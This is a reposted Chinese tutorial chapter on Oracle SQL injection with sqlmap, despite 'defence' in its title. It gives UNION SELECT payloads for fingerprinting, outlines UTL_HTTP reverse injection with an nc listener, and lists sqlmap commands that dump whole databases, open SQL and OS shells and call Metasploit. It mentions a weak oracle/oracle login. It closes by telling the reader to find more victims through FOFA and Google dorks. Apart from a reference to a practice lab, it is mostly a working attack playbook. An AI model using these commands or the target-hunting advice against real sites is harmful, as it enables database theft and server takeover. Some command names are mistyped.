sqlmap从入门到精通-第五章-5-4 使用sqlmap进行Oracle数据库注入与防御

Posted 白帽安全技术复现

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sqlmap从入门到精通-第五章-5-4 使用sqlmap进行Oracle数据库注入与防御相关的知识,希望对你有一定的参考价值。

5.4 使用sqlmap进行Oracle数据库注入与防御

5.4.1 Oracle数据库注入基础

1.SQL注入点判断

and 1=1 和 and 1=2

2. 判断数据库为Oracle

(1) 出错信息显示Oracle

(2) 通过注释符号来判断

(3) 多行查询判断,Oracle不支持多行查询

3. 获取基本信息

(1) 获取字段数,可以使用order by N根据返回的页面判断

(2) and 1=2 union select 1,2, (select banner from sys.v_$version where rownum=1), 4,5,6 from dual

(3) 获取数据库连接的用户名

and 1=2 union select 1,2 ( select SYS_CONTEXT(\'USERENV\', \'CURRENT_USER\') from dual), 4,5,6 from dual

(4) 获取日志的绝对路径

4. 猜测数据库,表和列名

(1) 爆出数据库明

(2) 爆表名

(3) 爆字段名

5. Oracle注入过程的特性

(1) 字段类型必须确定

(2) UTL_HTTP存储过程反弹注入

* 判断UTL_HTTP存储过程是否可用

* 本地执行nc监听端口

* 注入点执行

(3) 系统特性

(4) 创建远程连接账号

(5) 命令执行

6. Oracle数据库导出

(1) 登录服务器

ssh 22.2.33.3

内网中的弱口令oracle/oracle

(2) 在ssh中执行

7. Oracle数据库导入

(1) 执行sqlpuls

sqlpuls /nolog

(2) 以DBA进行连接

conn /as sysdba;

(3) 创建需要导入的表空间

create tablespace spms

datafile=\'d:\\xx\\xx\\spms.dbf\'

size 50m

autoextend on;

(4) 创建用户

create user dbms identified by bmfxheihei;

(5) 授予权限

(6) 导入数据库

imp dbms/bmfxheihei@dbms full=y file=d:\\dbmx.tmp ignore=y

https://www.cnblogs.com/peterpan0707007/p/8242119.html

5.4.2 使用sqlmap进行Oracle数据库注入命令

1. 需要安装Oracle支持模块cx_Oracle

(1) 源码下载

git clone https://github.com/oracle/python-cx_oracle

(2) 使用pip命令安装

python -m pip install cx_Oracle --upgrade

(3) Windows下安装

2. 数据库命令直连

sqlmap.py -d oracle://User:Password@DBMS_IP:DBMS_PORT/DATABASE_SID

(1) sqlmap.py -u url -f --current-user --current-db --hostname --batch

(2) sqlmap.py -u url --password --privileges --roles --users --is-dba --batch

(3) sqlmap.py -u url --exclude-sysdbs --schema --dbs --batch

(4) sqlmap.py -u url -D dbname --table

(5) sqlmap.py -u url -D dbname --count

(6) sqlmap.py -u url -D dbname -T manage --columns

(7) 导出manager表数据及所有数据

sqlmap.py -u url -D dbname -T manager --dump

sqlmap.py -u url -D dbname --dump-all

(8) SQL shell ,查询及文件

sqlmap.py -u url --sql-query="sql语句"

sqlmap.py -u url --sql-shell

sqlmap.py -u url --sql-file="具体文件"

(9) os命令及提权

sqlmap.py -u url --os-cmd id

sqlmap.py -u url --os-shell

(10) MSF协助渗透

sqlmap.py -u url --os-pwn --msf-paht /software/metasploit

(11) 向导模式开展测试

sqlmap.py -u url --wizard

(12) Oracle命令行提权

5.4.3 使用AWVS进行漏洞扫描

1. 使用AWVS扫描URL

5.4.4 SQL盲注漏洞利用

1. 使用sqlmap检测request数据是否存在SQL注入

sqlmap.py -r /root/bmfx.txt

2. 使用sqlmap检测出SQL注入点所在的数据库类型

3. 获取具体的漏洞类型及payload

4. 注意事项

(1) 有的注入点可能是扫描工具扫描出来的结果,显示存在SQL注入,但是实际测试发现并非存在,无法利用的现象,像这类是误报

(2) 使用sqlmap进行测试时,尽量做全部的测试,有的注入点可能存在多种类型的SQL注入,测试结束之后,可以选择一个速度最快的方式进行快速注入

(3) sqlmap中可以使用--batch自动提交参数

(4) 可以使用-o参数进行优化

(5) 发现SQL注入点无法通过sqlmap进行后续工作的时候,可以尝试使用其他注入工具对注入点进行测试

5. 延伸漏洞挖掘

(1) 使用fofa网站进行关键字检索扩展漏洞目标,例如:custLoginAction.do

(2) 使用百度等搜索引擎进行Google黑客扩展目标,例如:inurl:custLoginAction.do

参考:

http://www.secist.com/archives/448.html

https://www.jianshu.com/p/30c216960bdd

https://blog.csdn.net/csacs/article/details/90145501

https://blog.csdn.net/st415/article/details/78118382

实战测试环境,参考如下:

https://www.mozhe.cn/bug/detail/M2dRRXJqN3RqWnhvTGRTK1JJdjk5dz09bW96aGUmozhe

 

 


 

以上是关于sqlmap从入门到精通-第五章-5-4 使用sqlmap进行Oracle数据库注入与防御的主要内容,如果未能解决你的问题,请参考以下文章

网络安全从入门到精通 (第五章-3) MSSQL反弹注入

网络安全从入门到精通 (第五章-2) MySQL注入 — Dns 注入

Python入门到精通精品第五章 - 字符串

《Python从入门到实践》--第五章 各种情形下使用if语句 课后练习

sqlmap从入门到精通-第三章-3-8 使用sqlmap进行ashx注入

《sqlmap从入门到精通》已经正式出版